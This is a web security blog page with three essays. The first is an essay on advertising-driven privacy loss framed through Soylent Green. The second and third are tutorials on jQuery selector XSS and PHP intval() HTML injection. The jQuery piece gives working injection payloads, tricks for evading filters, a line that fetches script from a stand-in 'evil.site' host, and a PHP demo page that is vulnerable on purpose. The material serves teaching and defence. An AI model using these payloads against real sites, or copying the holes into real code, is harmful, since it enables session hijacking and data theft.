• Silicon Valley green is made of people. This is succinctly captured in the phrase: When you don’t pay for the product, the product is you. It explains how companies attain multi-billion dollar valuations despite offering their services for free. They promise revenue through the glorification of advertising.

    Investors argue that high valuations reflect a company’s potential for growth. That growth comes from attracting new users. Those users in turn become targets for advertising. And sites, once bastions of clean design, become concoctions of user-generated content, ad banners, and sponsored features.

    Population Growth

    Sites measure their popularity by a single serving size: the user. Therefore, one way to interpret a company’s valuation is in its price per user. That is, how many calories can a site gain from a single serving? How many servings must it consume to become a hulking giant of the web?

    Dystopian Books

    You know where this is going.

    The movie Soylent Green presented a future where a corporation provided seemingly beneficent services to a hungry world. It wasn’t the only story with themes of overpopulation and environmental catastrophe to emerge from the late ’60s and early ’70s. The movie was based on the novel Make Room! Make Room!, by Harry Harrison. And it had peers in John Brunner’s Stand on Zanzibar (and The Sheep Look Up) and Ursula K. Le Guin’s The Lathe of Heaven. These imagined worlds contained people powerful and poor. And they all had to feed.

    A Furniture Arrangement

    To sell is to feed. To feed is to buy.

    In Soylent Green, Detective Thorn (Charlton Heston) visits an apartment to investigate the murder of a corporation’s board member, i.e. someone rich. He is unsurprised to encounter a woman there and, already knowing the answer, asks if she’s “the furniture.” It’s trivial to decipher this insinuation about a woman’s role in a world afflicted by overpopulation, famine, and disparate wealth. That an observation made in a movie forty years ago about a future ten years hence rings true today is distressing.

    We are becoming products of web sites as we become targets for ads. But we are also becoming parts of those ads. Becoming furnishings for fancy apartments in a dystopian New York.

    Women have been components of advertising for ages, selected as images relevant to manipulating a buyer no matter the irrelevance of their image to the product. That’s not changing. What is changing is some sites’ desire to turn all users into billboards. They want to create endorsements by you that target your friends. Your friends are as much a commodity as your information.

    In this quest to build advertising revenue, sites also distill millions of users’ activity into individual recommendations of what they might want to buy or predictions of what they might be searching for.

    And what a sludge that distillation produces.

    There may be the occasional welcome discovery from a targeted ad, but there is also an unwelcome consequence of placing too much faith in algorithms. A few suggestions can become dominant viewpoints based more on others’ voices than personal preferences. More data does not always mean more accurate data.

    We should not excuse an algorithm as an impartial oracle to society. They are tuned, after all. And those adjustments may reflect the bias and beliefs of the adjusters. For example, an ad campaign created for UN Women employed a simple premise: superimpose upon pictures of women a search engine’s autocomplete suggestions for phrases related to women. The result exposes biases reinforced by the louder voices of technology. More generally, a site can grow or die based on a search engine’s ranking. An algorithm collects data through a lens. It’s as important to know where the lens is not focused as much as where it is.

    There is a point where information for services is no longer a fair trade. Where apps collect the maximum information to offer the minimum functionality. There should be more of a push for apps that work on an Information-to-Functionality relationship of minimum requested for the maximum required.

    Going Home

    In the movie, Sol (Edward G. Robinson) talks about going Home after a long life. Throughout the movie, Home is alluded to as the ultimate, welcoming destination. It’s a place of peace and respect. Home is where Sol reveals to Detective Thorn the infamous ingredient of Soylent Green.

    Web sites want to be your home on the web. You’ll find them exhorting you to make their URL your browser’s homepage.

    Home Page

    Web sites want your attention. They trade free services for personal information. At the very least, they want to sell your eyeballs. We’ve seen aggressive escalation of this in various privacy grabs, contact list pilfering, and weak apologies that “mistakes were made.”

    More web sites and mobile apps are releasing features outright described as “creepy but cool” in the hope that the latter outweighs the former in a user’s mind. Services need not be expected to be free without some form of compensation; the Web doesn’t have to be uniformly altruistic. But there’s growing suspicion that personal information and privacy are being undervalued and under-protected by sites offering those services. There should be a balance between what a site offers to users and how much information it collects about users (and how long it keeps that information).

    The Do Not Track effort fizzled, hobbled by indecision of a default setting. Browser makers have long encouraged default settings that favor stronger security, they seem to have less consensus about what default privacy settings should be.

    Third-party cookies will be devoured by progress; they are losing traction within the browser and mobile apps. Safari has long blocked them by default. Chrome has not. Mozilla has considered it. Their descendants may be cookie-less tracking mechanisms, which the web titans are already investigating. This isn’t necessarily a bad thing. Done well, a tracking mechanism can be limited to an app’s sandboxed perspective as opposed to full view of a device. Such a restriction can limit the correlation of a user’s activity, thereby tipping the balance back towards privacy.

    If you rely on advertising to feed your company and you do not control the browser, you risk going hungry. For example, only Chrome embeds the Flash plugin. An eternally vulnerable plugin that coincidentally plays videos for a revenue-generating site.

    Lightbeam Example

    There are few means to make the browser an agent that prioritizes a user’s desires over a site’s. The Ghostery plugin is one tracking countermeasure available for all major browsers. Mozilla’s Lightbeam experiment does not block tracking mechanisms by default; it reveals how interconnected tracking has become due to ubiquitous cookies.

    Browsers are becoming more secure, but they need a site’s cooperation to protect personal information. At the very least, sites should be using HTTPS to protect traffic as it flows from browser to server. To do so is laudable yet insufficient for protecting data. And even this positive step moves slowly. Privacy on mobile devices moves perhaps even more slowly. The recent iOS 7 finally forbids apps from accessing a device’s unique identifier, while Android struggles to offer comprehensive tools.

    The browser is Home. Apps are Home. These are places where processing takes on new connotations. This is where our data becomes their food.

    Soylent Green’s year 2022 approaches. Humanity must know.

    • • •
  • Initial D: The Fool with Two Demons

    An ancient demon of web security skulks amongst all developers. It will live as long as there are people writing software. It is a subtle beast called by many names in many languages. But I call it Inicere, the Concatenator of Strings.

    The demon’s sweet whispers of simplicity convince developers to commingle data with code — a mixture that produces insecure apps. Where its words promise effortless programming, its advice leads to flaws like SQL injection and cross-site scripting (aka HTML injection).

    We have understood the danger of HTML injection ever since browsers rendered the first web sites decades ago. Developers naively take user-supplied data and write it into form fields, eliciting howls of delight from attackers who enjoyed demonstrating how to transform <input value="abc"> into <input value="abc"><script>alert(9)</script><"">.

    In response to this threat, heedful developers turned to the Litany of Output Transformation, which involved steps like applying HTML encoding and percent encoding to data being written to a web page. Thus, injection attacks become innocuous strings because the litany turns characters like angle brackets and quotation marks into representations like %3C and &quot; that have a different semantic identity within HTML.

    But developers wanted to do more with their web sites. They wanted more complex JavaScript. They wanted the desktop in the browser. And as a consequence they’ve conjured new demons to corrupt our web apps. I have seen one such demon. And named it. For names have power.

    Demons are vain. This one no less so than its predecessors. I continue to find it among JavaScript and jQuery. Its name is Selector the Almighty, Subjugator of Elements.

    Here is a link that does not yet reveal the creature’s presence:

    https://website/productDetails.html?id=OFB&start=15&source=search

    Yet in the response to this link, the word “search” has been reflected in a .ready() function block. It’s a common term, and the appearance could easily be a coincidence. But if we experiment with several source values, we confirm that the web app writes the parameter into the page.

    <script>
    $(document).ready(function() {
        $("#page-hdr h3").css("width","385px");
        $("#main-panel").addClass("search-wdth938");
    });
    </script>
    

    A first step in crafting an exploit is to break out of a quoted string. A few probes indicate the site does not enforce any restrictions on the source parameter, possibly because the developers assumed it would not be tampered with — the value is always hard-coded among links within the site’s HTML.

    After a few more experiments we come up with a viable exploit.

    https://website/productDetails.html?productId=OFB&start=15&source=%22);%7D);alert(9);(function()%7B$(%22%23main-panel%22).addClass(%22search

    We’ve followed all the good practices for creating a JavaScript exploit. It terminates all strings and scope blocks properly, and it leaves the remainder of the JavaScript with valid syntax. Thus, the page carries on as if nothing special has occurred.

    $(document).ready(function() {
        $("#page-hdr h3").css("width","385px");
        $("#main-panel").addClass("");});alert(9);(function(){$("#main-panel").addClass("search-wdth938"); });
    

    There’s nothing particularly special about the injection technique for this vuln. It’s a trivial, too-common case of string concatenation. But we were talking about demons. And once you’ve invoked one by it’s true name it must be appeased. It’s the right thing to do; demons have feelings, too.

    Therefore, let’s focus on the exploit this time, instead of the vuln. The site’s developers have already laid out the implements for summoning an injection demon, why don’t we force Selector to do our bidding?

    Web hackers should be familiar with jQuery (and its primary DOM manipulation feature, the Selector) for several reasons. Its misuse can be a source of vulns, especially so-called “DOM-based XSS” that delivers HTML injection attacks via DOM properties. JQuery is a powerful, flexible library that provides capabilities you might need for an exploit. And its syntax can be leveraged to bypass weak filters looking for more common payloads that contain things like inline event handlers or explicit <script> tags.

    In the previous examples, the exploit terminated the jQuery functions and inserted an alert pop-up. We can do better than that.

    The jQuery Selector is more powerful than the CSS selector syntax. For one thing, it may create an element. The following example creates an <img> tag whose onerror handler executes yet more JavaScript. (We’ve already executed arbitrary JavaScript to conduct the exploit, this emphasizes the Selector’s power. It’s like a nested injection attack.):

    $("<img src='x' onerror=alert(9)>")
    

    Or, we could create an element, then bind an event to it, as follows:

    $("<img src='x'>").on("error",function(){alert(9)});
    

    We have all the power of JavaScript at our disposal to obfuscate the payload. For example, we might avoid literal < and > characters by taking them from strings within the page. The following example uses string indexes to extract the angle brackets from two different locations in order to build an <img> tag. (The indexes may differ depending on the page’s HTML; the technique is sound.)

    $("body").html()[1]+"img"+$("head").html()[$("head").html().length-2]
    

    As an aside, there are many ways to build strings from JavaScript objects. It’s good to know these tricks because sometimes filters don’t outright block characters like < and >, but block them only in combination with other characters. Hence, you could put string concatenation to use along with the source property of a RegExp (regular expression) object. Even better, use the slash representation of RegExp, as follows:

    /</.source + "img" + />/.source
    

    Or just ask Selector to give us the first <img> that’s already on the page, change its src attribute, and bind an onerror event. In the next example we used the Selector to obtain a collection of elements, then iterated through the collection with the .each() function. Since we specified a :first selector, the collection should only have one entry.

    $(":first img").each(function(k,o){o.src="x";o.onerror=alert(9)})
    

    Maybe you wish to booby-trap the page with a function that executes when the user decides to leave. The following example uses a Selector on the Window object:

    $(window).unload(function(){alert(9)})
    

    We have Selector at our mercy. As I’ve mentioned in other articles, make the page do the work of loading more JavaScript. The following example loads JavaScript from another origin. Remember to set Access-Control-Allow-Origin headers on the site you retrieve the script from. Otherwise, a modern browser will block the cross-origin request due to CORS security.

    $.get("https://evil.site/attack.js")
    

    I’ll save additional tricks for the future. For now, read through jQuery’s API documentation. Pay close attention to:

    • Selectors, and how to name them.
    • Events, and how to bind them.
    • DOM nodes, and how to manipulate them.
    • Ajax functions, and how to call them.

    Selector claims the title of Almighty, but like all demons its vanity belies its weakness. As developers, we harness its power whenever we use jQuery. Yet it yearns to be free of restraint, awaiting the laziness and mistakes that summon Inicere, the Concatenator of Strings, that in turn releases Selector from the confines of its web app.

    Oh, what’s that? You came here for instructions to exorcise the demons from your web app? You should already know the Rite of Filtering by heart and be able to recite from memory lessons from the Codex of Encoding.

    We’ll review them in a moment. First, I have a ritual of my own to finish. What were those words? Klaatu, barada, …necktie?


    p.s. It’s easy to reproduce the vulnerable HTML covered in this article. But remember, this was about leveraging jQuery to craft exploits. If you have a PHP installation handy, use the following code to play around with these ideas. You’ll need to download a local version of jQuery or point to a CDN. Just load the page in a browser, open the browser’s development console, and hack away!

    <?php $s = isset($_REQUEST['s']) ? $_REQUEST['s'] : 'defaultWidth'; ?>
    <!doctype html>
    <html>
    <head><meta charset="utf-8">
    <!-- /\* jQuery Selector Injection Demo \*/ -->
    <script src="https://code.jquery.com/jquery-1.10.2.min.js"></script>
    <script>
    $(document).ready(function(){ $("#main-panel").addClass("<?php print $s;?>"); })
    </script>
    </head>
    <body>
      <div id="main-panel"> <a href="#" id="link1" class="foo">a link</a> <br>
      <form>
        <input type="hidden" id="csrf" name="_csrfToken" value="123">
        <input type="text" name="q" value=""><br> <input type="submit" value="Search">
      </form>
      <img id="footer" src="" alt="">
      </div>
    </body>
    </html>
    
    • • •
  • A Default Base of XSS

    Modern PHP has successfully shed many of the problematic functions and features that contributed to the poor security reputation the language earned in its early days. Settings like safe_mode mislead developers about what was really being made “safe” and magic_quotes caused unending headaches. And naive developers caused more security problems because they knew just enough to throw some code together, but not enough to understand the implications of blindly trusting data from the browser.

    In some cases, the language tried to help developers – prepared statements are an excellent counter to SQL injection attacks. The catch is that developers actually have to use them. In other cases, the language’s quirks weakened code. For example, register_globals allowed attackers to define uninitialized values (among other things); and settings like magic_quotes might be enabled or disabled by a server setting, which made deployment unpredictable.

    x=logb(by)

    But the language alone isn’t to blame. Developers make mistakes, both subtle and simple. These mistakes inevitably lead to vulns like our ever-favorite HTML injection.

    Consider the intval() function. It’s a typical PHP function in the sense that it has one argument that accepts mixed types and a second argument with a default value. (The base is used in the numeric conversion from string to integer):

    int intval ( mixed $var , int $base = 10 )
    

    The function returns the integer representation of $var (or “casts it to an int” in more type-safe programming parlance). If $var cannot be cast to an integer, then the function returns 0. (Confusingly, if $var is an object type, then the function returns 1.)

    Using intval() is a great way to get a “safe” number from a request parameter. Safe in the sense that the value should either be 0 or an integer representable on the platform. Pesky characters like apostrophes or angle brackets that show up in injection attacks will disappear – at least, they should.

    The problem is that you must be careful if you commingle the newly cast integer value with the raw $var that went into the function. Otherwise, you may end up with an HTML injection vuln – and some moments of confusion in finding the problem in the first place.

    The following code is a trivial example condensed from a web page in the wild:

    <?php $s = isset($_GET['s']) ? $_GET['s'] : '';
    $n = intval($s);
    $val = $n > 0 ? $s : '';
    ?>
    <!doctype html>
    <html>
    <head>
    <meta charset="utf-8">
    </head>
    <body>
    <form>
    <input type="text" name="s" value="<?php print $val;?>"><br>
    <input type="submit">
    </form>
    </body>
    </html>
    

    At first glance, a developer might assume this to be safe from HTML injection. Especially if they test the code with a simple payload:

    https://web.site/intval.php?s="><script>alert(9)<script>

    As a consequence of the non-numeric payload, the intval() has nothing to cast to an integer, so the greater than zero check fails and the code path sets $val to an empty string. Such security is short-lived. Try the following link:

    https://web.site/intval.php?s=19"><script>alert(9)<script>

    With the new payload, intval() returns 19 and the original parameter gets written into the page. The programming mistake is clear: don’t rely on intval() to act as your validation filter and then fall back to using the original parameter value.

    Since we’re on the subject of PHP, we’ll take a moment to explore some nuances of its parameter handling. The following behaviors have no direct bearing on the HTML injection example, but you should be aware of them since they could come in handy for different situations.

    One idiosyncrasy of PHP is the relation of URL parameters to superglobals and arrays. Superglobals are request variables like $_GET, $_POST, and $_REQUEST that contain arrays of parameters. Arrays are actually containers of key/value pairs whose keys or values may be extracted independently (they are implemented as an ordered map).

    It’s the array type that often surprises developers. Surprise is undesirable in secure software. With this in mind, let’s return to the example. The following link has turned the s parameter into an array:

    https://web.site/intval.php?s[]=19

    The sample code will print Array in the form field because intval() returns 1 for a non-empty array.

    We could define the array with several tricks, such as an indexed array (i.e. integer indices):

    https://web.site/intval.php?s[0]=19&s[1]=42
    https://web.site/intval.php?s[0][0]=19
    

    Note that we can’t pull off any clever memory-hogging attacks using large indices. PHP won’t allocate space for missing elements since the underlying container is really a map.

    https://web.site/intval.php?s[0]=19&s[4294967295]=42

    This also implies that we can create negative indices:

    https://web.site/intval.php?s[-1]=19

    Or we can create an array with named keys:

    https://web.site/intval.php?s["a"]=19
    https://web.site/intval.php?s["<script>"]=19
    

    For the moment, we’ll leave the “parameter array” examples as trivia about the PHP language. However, just as it’s good to understand how a function like intval() handles mixed-type input to produce an integer output; it’s good to understand how a parameter can be promoted from a single value to an array.

    The intval() example is specific to PHP, but the issue represents broader concepts around input validation that apply to programming in general:

    First, when passing any data through a filter or conversion, make sure to consistently use the “new” form of the data and throw away the “raw” input. If you find your code switching between the two, reconsider why it apparently needs to do so.

    Second, make sure a security filter inspects the entirety of a value. This covers things like making sure validation regexes are anchored to the beginning and end of input, or being strict with string comparisons.

    Third, decide on a consistent policy for dealing with invalid data. The intval() is convenient for converting to integers; it makes it easy to take strings like “19”, “19abc”, or “abc” and turn them into 19, 19, or 0. But you may wish to treat data that contains non-numeric characters with more suspicion. Plus, fixing up data like “19abc” into 19 is hazardous when applied to strings. The simplest example is stripping a word like “script” to defeat HTML injection attacks – it misses a payload like “<scrscriptipt>”.

    • • •